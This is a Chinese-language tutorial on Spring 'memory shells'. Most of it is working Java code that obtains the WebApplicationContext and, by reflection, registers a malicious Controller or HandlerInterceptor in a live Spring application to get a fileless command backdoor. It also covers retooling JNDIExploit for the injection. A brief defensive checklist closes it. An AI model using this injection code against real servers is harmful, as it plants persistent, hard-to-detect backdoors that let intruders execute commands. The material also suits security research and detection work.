初探Java安全之Spring内存马
字数 1593 2025-08-29 08:31:41
Spring内存马技术深入分析与实现
一、Spring核心概念基础
1. Bean概念
- 定义:Bean是Spring框架的核心概念,是构成应用程序的主干对象
- 特性:
- 由Spring IoC容器负责实例化、配置、组装和管理
- 本质上是普通的Java对象
- 通过配置元数据(XML、注解或Java代码)描述
2. ApplicationContext
- 继承关系:ApplicationContext接口继承自BeanFactory接口
- 功能:
- 代表IoC容器
- 负责实例化、定位、配置应用程序中的对象及建立依赖关系
- 扩展了基本容器的功能
3. ContextLoaderListener与DispatcherServlet
- 典型web.xml配置:
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
-
Root Context与Child Context:
- 一个应用中可以有多个Context,但只有一个Root Context
- 所有Child Context可以访问Root Context中定义的bean
- Root Context无法访问Child Context中定义的bean
- Context创建后都会被作为属性添加到ServletContext中
-
ContextLoaderListener:
- 初始化全局唯一的Root WebApplicationContext
- 共享IoC容器供其他Child Context使用
-
DispatcherServlet:
- 每个DispatcherServlet创建一个Child Context
- 代表独立的IoC容器
二、Spring Controller内存马实现
1. 获取Context的四种方法
- getCurrentWebApplicationContext()
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
- WebApplicationContextUtils
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(
RequestContextUtils.getWebApplicationContext(
((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()
).getServletContext()
);
- RequestContextUtils
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(
((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()
);
- getAttribute
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
2. RequestMappingHandlerMapping
- 作用:处理Controller中@RequestMapping注解的方法
- 获取方法:
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
3. 反射获取mappingRegistry属性
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);
4. 注册Controller完整流程
@Controller
public class AddControllerMemshell {
@RequestMapping(value = "/addcontroller")
public void addController(HttpServletRequest request, HttpServletResponse response) throws Exception {
final String controllerPath = "/zh1z3ven";
// 获取Context
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()
);
// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 反射获取mappingRegistry
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);
// 检查URL是否已存在
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Field field = c.getDeclaredField("urlLookup");
field.setAccessible(true);
Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
for (String urlPath : urlLookup.keySet()) {
if (controllerPath.equals(urlPath)) {
response.getWriter().println("controller url path exist already");
return;
}
}
// 构造RequestMappingInfo
PatternsRequestCondition url = new PatternsRequestCondition(controllerPath);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);
// 获取恶意Controller类
Class<?> myClass = Util.getClass(CONTROLLER_CMDMEMSHELL_CLASS_STRING);
// 反射调用register方法注册Controller
Method[] ms = c.getDeclaredMethods();
for (Method method : ms) {
if ("register".equals(method.getName())) {
method.setAccessible(true);
method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]);
response.getWriter().println("spring controller add");
}
}
}
}
三、Spring Interceptor内存马实现
1. HandlerInterceptor接口
- 三个核心方法:
preHandle:controller方法执行前拦截- return true:放行
- return false:不放行
postHandle:controller方法执行后,JSP视图执行前afterCompletion:JSP执行后
2. 拦截器注册流程
@Controller
public class AddInterceptorMemshell {
@RequestMapping(value = "/addinterceptor")
public void addInterceptor(HttpServletRequest request, HttpServletResponse response) throws Exception {
// 获取Context
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(
((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()
);
// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 反射获取adaptedInterceptors属性
Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
// 添加恶意拦截器
list.add((HandlerInterceptor)Util.getClass(Util.INTERCEPTOR_CMDMEMSHELL_CLASS_STRING).newInstance());
response.getWriter().println("interceptor added");
}
}
3. 拦截器初始化过程
- DispatcherServlet#doDispatch方法调用getHandler
- AbstractHandlerMapping#getHandler获取HandlerExecutionChain
- getHandlerExecutionChain方法通过HandlerExecutionChain#addInterceptor添加拦截器
四、JNDIExploit改造实践
1. 获取Context的替代方案
// 反射获取Context
Class RCHClass = Class.forName("org.springframework.web.context.request.RequestContextHolder");
ServletRequestAttributes servletRequestAttributes = (ServletRequestAttributes) RCHClass
.getDeclaredMethod("currentRequestAttributes").invoke(RCHClass, null);
Class SRAClass = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
Method getRequestMethod = SRAClass.getDeclaredMethod("getRequest");
Class RCUClass = Class.forName("org.springframework.web.servlet.support.RequestContextUtils");
Method findWebApplicationContextMethod = RCUClass.getMethod("findWebApplicationContext", HttpServletRequest.class);
WebApplicationContext context = (WebApplicationContext) findWebApplicationContextMethod.invoke(
RCUClass, getRequestMethod.invoke(servletRequestAttributes)
);
2. 完整注入流程
// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 反射获取adaptedInterceptors并添加拦截器
Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
list.add((HandlerInterceptor) clazz.newInstance());
五、防御措施
- 监控Context修改:监控ApplicationContext的异常修改行为
- 检查注册的Controller:定期检查系统中注册的Controller列表
- 拦截器白名单:维护合法的拦截器白名单
- 运行时保护:使用RASP技术防护关键方法的调用
- 版本升级:及时更新Spring框架版本
六、参考资源
- Spring官方文档
- LandGrey师傅的Spring内存马分析
- su18师傅的Spring内存马实现思路
- JNDIExploit项目源码
- Behinder3/Godzilla4内存马实现